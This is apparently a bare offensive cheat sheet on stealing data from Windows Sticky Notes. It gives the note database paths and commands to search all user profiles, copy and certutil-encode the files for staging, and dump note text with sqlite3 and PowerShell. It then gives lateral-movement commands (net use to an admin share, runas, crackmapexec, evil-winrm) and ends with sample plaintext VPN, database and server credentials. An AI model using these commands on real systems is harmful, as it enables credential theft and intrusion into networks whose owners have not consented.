Sticky Notes

C:\Users\%USERNAME%\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

plum.sqlite

C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Sticky Notes

StickyNotes.snt

Get-ChildItem -Path C:\Users\ -Recurse -Include plum.sqlite,StickyNotes.snt -ErrorAction SilentlyContinue

dir C:\Users\*\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite /s
dir "C:\Users\*\AppData\Roaming\Microsoft\Sticky Notes\StickyNotes.snt" /s

copy plum.sqlite C:\Windows\Temp\notes.db

certutil -encode plum.sqlite notes.txt

sqlite3 notes.db
.tables
SELECT Text FROM Note;

sqlite3 notes.db "SELECT Text FROM Note;"

strings StickyNotes.snt

oledump.py StickyNotes.snt

Add-Type -AssemblyName System.Data.SQLite
$sql = "SELECT Text FROM Note"
$db = "C:\Users\USER\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite"
$conn = New-Object System.Data.SQLite.SQLiteConnection("Data Source=$db;Version=3;")
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = $sql
$reader = $cmd.ExecuteReader()
while ($reader.Read()) { $reader["Text"] }
$conn.Close()

net use \\TARGET\C$ /user:Administrator PASSWORD

runas /user:DOMAIN\admin cmd

crackmapexec smb targets.txt -u user -p password
evil-winrm -i target -u user -p password

VPN: vpn.corp.local
User: administrator
Pass: Winter2024!

DB:
10.0.10.15
root / P@ssw0rd!

RDP Server:
SRV-FILE01
corp\backup-admin
Backup123!